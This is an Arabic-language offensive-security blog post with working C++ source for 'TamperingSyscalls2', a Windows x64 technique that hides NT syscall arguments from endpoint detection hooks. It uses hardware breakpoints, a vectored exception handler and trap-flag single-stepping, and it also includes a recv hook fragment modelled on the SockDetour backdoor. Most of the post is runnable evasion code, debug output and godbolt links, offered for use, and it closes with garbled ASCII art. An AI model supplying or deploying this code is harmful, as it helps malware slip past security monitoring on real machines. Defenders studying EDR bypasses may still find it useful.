HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
char verbuf[9]{ 0 };
int verbuflen{ 9 }, recvlen{ 0 };
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
verbuflen, MSG_PEEK);
BYTE TLS[] = { 0x17, 0x03, 0x03 };
if (recvlen >= 3) {
if ((memcmp(verbuf, TLS, 3) == 0))1
{
MSG_AUTH msg{ 0 };
// We'll peek like SockDetour as to not eat the message
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
sizeof(MSG_AUTH), MSG_PEEK);
// Authenticate and proceed
}
}
// Set corresponding Dr
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
سننهي بتنفيذ تقنية مراوغة عامة في مساحة المستخدم (userland) على x64 مستوحاة من TamperingSyscalls، والتي تستخدم نسخة معدلة بشكل مناسب من محرك نقاط توقف العتاد الذي عُرض سابقًا لإخفاء ما يصل إلى 12 وسيطًا من وسائط أي 4 استدعاءات نظامية (Nt syscalls) في أي وقت واحد لكل خيط. لاحظ أنني اخترت عدم نشر محتوى سجلات التصحيح إلى جميع الخيوط، لأن ذلك قد يكون غير مرغوب فيه (إذا رغبت، استبدل SetHWBP بـ SetHWBPS).
لا حاجة لوصف سبب كون هذا مرغوبًا وفائق الروعة (super EPIC)، ولا للخوض في ربط مساحة المستخدم (userland hooking)، فهذه ليست الموضوعات المطروحة أو موضع الاهتمام، وقد تمت تغطيتها بعمق عدة مرات [5].
ننشئ تعيينًا جديدًا (mapping) باستخدام (address | ThreadID) كمفتاح فريد، وتكون القيمة بنية تحتوي على وسائط الدالة. سننشئ مدخلًا جديدًا في تعييننا عند الدخول إلى الاستدعاء النظامي ونمسح القيم الموجودة في السجلات والمكدس.
نستخدم التنفيذ خطوة بخطوة (single-stepping) عبر علم المصيدة (trap flag) للتظاهر بأن لدينا سجلات تصحيح أكثر مما نمتلك فعليًا. يمكننا فعل ذلك، لأننا نعرف متى وأين يجب أن تحدث إجراءات محددة.
عندما نصل إلى عنوان الاستدعاء النظامي المطلوب، نستعيد قيمنا من مدخل hashmap المرتبط بمفتاحنا. يؤدي هذا إلى إعادة القيم الموجودة على المكدس إلى السجلات. ثم نتابع التنفيذ خطوة بخطوة حتى تعليمة الإرجاع، حيث نتوقف عن التنفيذ خطوة بخطوة ونكمل!
يتيح لنا ذلك في النهاية ربطًا بلا أنواع (typeless hooking). علاوة على ذلك، حددنا في البداية أننا سنخفي 12 وسيطًا فقط، 4 من السجلات و8 من المكدس. هذه القيمة "8" تعسفية لكنها موصى بها، وقد يؤدي إخفاء أو تغيير المزيد من القيم/الوسائط على المكدس إلى سلوك غير مرغوب.
يجب أن ينشأ مكدس الاستدعاءات لدينا بالفعل من DLL مناسب، وبالتالي لن تحتاج إلى استدعاء الدوال الأصلية (Native functions) ويمكنك استدعاء غلاف مناسب (wrapper) من أي DLL بشرط استدعاء المُنشئ مع عنوان الدالة الأصلية في NTDLL.
هذا أمر تافه ويمكن تحقيقه بتغيير الماكرو:
#define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.
في المثال، نعرضه وهو يعمل مع NtCreateThreadEx وNtCreateMutant! تأكد من أنك تستخدم سجلات التصحيح الأربعة بشكل فردي لكل خيط فقط. بمجرد الانتهاء من دالة معينة، يمكنك تحرير سجل التصحيح المرتبط بها عن طريق استدعاء طريقة RemoveHWBPS.
1. إذا كان (addr == entry.first) فهذا يعني أننا عند تعليمة mov r10, rcx
- نخزن وسائطنا في مدخل hashmap باستخدام المفتاح (TID | address)
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
- ثم نضبط قيم هذه الوسائط إلى 0 (يمكن أن تكون أي قيمة تعسفية أخرى)
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...
- ثم نضبط علم الاستئناف (Resume Flag) في البت 16 وعلم المصيدة (Trap Flag) في البت 8
- سيؤدي هذا إلى متابعة التنفيذ، كالمعتاد، مع التأثير على الأداء بشكل طفيف فقط.
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
2. واصل التنفيذ خطوة بخطوة حتى (addr == entry.second.sysc)
- نحن الآن عند تعليمة الاستدعاء النظامي (syscall) وقد تجاوزنا أي روابط في مساحة المستخدم
- نستعيد وسائطنا باستخدام مفتاح البحث السابق (TID | address).```c
auto const key = (address | GetCurrentThreadId());
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
التقنية الموصوفة سابقًا مطبقة، مع التركيز على إخفاء جميع وسائط أغلبية استدعاءات النظام الأصلية! واستمتع بهذا الحل الأنيق والمباشر حيث أوفر أيضًا عبارات طباعة التصحيح، لتتمكن من رؤية التغييرات التي تُجرى على المكدس والسجلات والعمليات الفكرية الكامنة وراءها كلها.```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 / / C++ Generic x64 user-land evasion technique utilizing HWBP.cpp / / Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ //////////////////////////////////////////////////////////////////////////////////////////
// 12 - 4 = 8 - should cover most Nt functions.
#define STK_ARGS 8 // Increase this value, works until ~100...
typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION;
typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS;
//////////////////////////////////////////////////////////////////////////////////////////
/* Macros /
//////////////////////////////////////////////////////////////////////////////////////////
#define PRINT_ARGS( State, ExceptionInfo )
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);
for (UINT idx = 0; idx < STK_ARGS; idx++){
const size_t offset = idx * 0x8 + 0x28;
printf("%d:\t0x%p\n", (idx + 5), (PVOID)(PULONG64)
((ExceptionInfo)->ContextRecord->Rsp + offset));
}
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
// Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; }
DWORD WINAPI TestThread(LPVOID lpParameter);
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true);
BYTE syscop[] = { 0x0F, 0x05 };
ADDRESS_MAP[address].syscall_addr =
FindRopAddress(address, syscop, sizeof(syscop));
BYTE retnop[] = { 0xC3 };
ADDRESS_MAP[address].return_addr =
FindRopAddress(address, retnop, sizeof(retnop));
};
VOID RemoveHWBPS()
{
SetHWBP(GetCurrentThread(), address, pos, false);
}
~TS2_HWBP()
{
RemoveHWBPS();
}
};
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);
if (address == syscall_instr) // mov r10, rcx
{
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
PRINT_ARGS("HIDING", ExceptionInfo);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
}
PRINT_ARGS("HIDDEN", ExceptionInfo);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
}
else if (address == ai.syscall_addr)
{
auto const key = (address | GetCurrentThreadId());
// SSN in ExceptionInfo->ContextRecord->Rax
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
PRINT_ARGS("RESTORED", ExceptionInfo);
SYSCALL_MAP.erase(key);
}
else if (address == ai.return_addr)
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);
TS2_HWBP TS2NtCreateThreadEx{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateThreadEx")),
0
};
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
if (t) WaitForSingleObject(t, INFINITE);
}
TS2NtCreateThreadEx.RemoveHWBPS();
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n");
TS2_HWBP TS2NtCreateMutant{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateMutant")),
0
};
HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);
return 0;
} ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
فيما يلي مثال على المخرجات، يُظهر وسائط NtCreateThreadEx المخفية.```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x0000000000000000
2: 0x0000000000000000
3: 0x0000000000000000
4: 0x0000000000000000
5: 0x0000000000000000
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x0000000000000000
12: 0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414
----TestThread----
[...]
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7
TamperingSyscalls2 (محدّث) - https://godbolt.org/z/edf9v1Wj6
TamperingSyscalls2 (C نقي) - https://godbolt.org/z/9va7YzEe9
الكود المُشارَك يجب أن يعمل مع معظم syscalls، رغم أنه ينبغي عليك اختباره قبل الاستخدام. القيد الرئيسي الوحيد في الأعمال المعروضة هو الاعتماد على hashmaps (std::unordered_map)؛ هذا سيستدعي داخليًا العديد من الدوال الأصلية (native functions) بشكل غير مباشر، مثل NtAllocateVirtualMemory، مما يمنعنا من تعليقها (hooking). يمكن إعادة توظيف هذا للعمل مع x86 بأقل جهد.
في المستقبل، يمكنك تعديل المكتبات لاستخدام التنفيذ بخطوة واحدة (single stepping)، كما هو موضح في المثال الأخير. ستحتاج إلى معرفة متى تريد إيقاف التنفيذ بخطوة واحدة (عنوان أو نطاق) والقيام بذلك على هذا النحو. يمكن أيضًا استخدام هذا في تعليق PAGE_GUARD.
يمكنك أيضًا استبدال AddVectoredExceptionHandler بـ:
SetUnhandledExceptionFilter(ExceptionHandler);
المراجع:
[1] https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler
[2] https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention
[3] https://unit42.paloaltonetworks.com/sockdetour/
[4] https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/
[5] https://fool.ish.wtf/2022/08/tamperingsyscalls.html
[6] https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs
مع كل ذلك، أتطلع إلى إنهاء الكلام بملاحظة إيجابية؛ آمل أن تكونوا قد فهمتم القوة الخام غير المسبوقة لنقاط التوقف العتادية (hardware breakpoints)!!!
تحياتي إلى jonas وhjonk وsmelly وmez0 وسائر الرفاق القدامى ;)```
.
. . :^.
!
^77^ :!7:!^.
.7!!
:!: :7^.
!. :! ...:^.
!7. .!^ !!!
7. ^7: .7.
.:^::. .7! !! !
....:::^!. !!: .7^ .!^
.:^:. :!!:.^!. .!7!^. ^7^:^~~~~~^:7.:::::^
^^?^. :!!!7
.^:
:^^:7. .77
::^^!!: :. -your mate!!^ .!^. ^^. rad
.!7~:::~!
!?^^.::^~~~777!. ^7. .^^:
^??^:.:::^~~~!!!7!!^. .!! .98. ...^~~~^:!7JY?^.:...:: :: .
.7JJ:^::::::^^!!?5: .?G5Y7!::^^::.... ... . ^!7.^:.:~ JBYJ~.
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7
.^?5J!^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....^::... .: ::7!.:^^::^^ ?B7:: .....
^^!!!^^!!77777~~~~!!!!777????!::..:.. . .^!!77^^ .:. ...^: . !B7. ~~::.^:
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!!!:. ..: J? ... .^
.^!J:^^^:::^^^7?YYYJ7!!..:. :^^^
.~~?:^^^^:^^^77?777!::^^ . . ....... .. .. ...:~~~!!!7!^7!:. .^:^777!7??7!!!^:: . . ....::..... .^~~~^^^
^^7^^!^^^^~~~:.:..^!:^^:7??7????7!!^:: . ... .......... .^!^^^^^J?7!~~^^^^
.!^..:^....:.^!7JYY5YJJ?77!:.^~ .. .:..!!:. .^::::.::^..: ... .... :5Y?7777~~~^
:!!!77???JJ?!^7^^^^~~~:..::^^:. :!^..:J?7~~^^^^^^
:..!!.^!!!^.::::... ^7JJJ??777!!!!!!~~~^. .......^^^ ...!J?77!!77?7!~
^7!::!!^:..:^::.. .^...^!77????77!~~~~^^!?!. . .. .::..:. .^7Y5YYYJ???!!
^?7::^^!. :::::. :: ... .....::::^^^!!!^. ....:!?^:::.... ..:::::~~~~: ... .^:::::...... ......... :!: !77!!^!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~
^!!: . . .. ..... .:..:^^::::.. .?Y?!!!!~
:!^. . . . . ......:::.. . ^7!7?7~~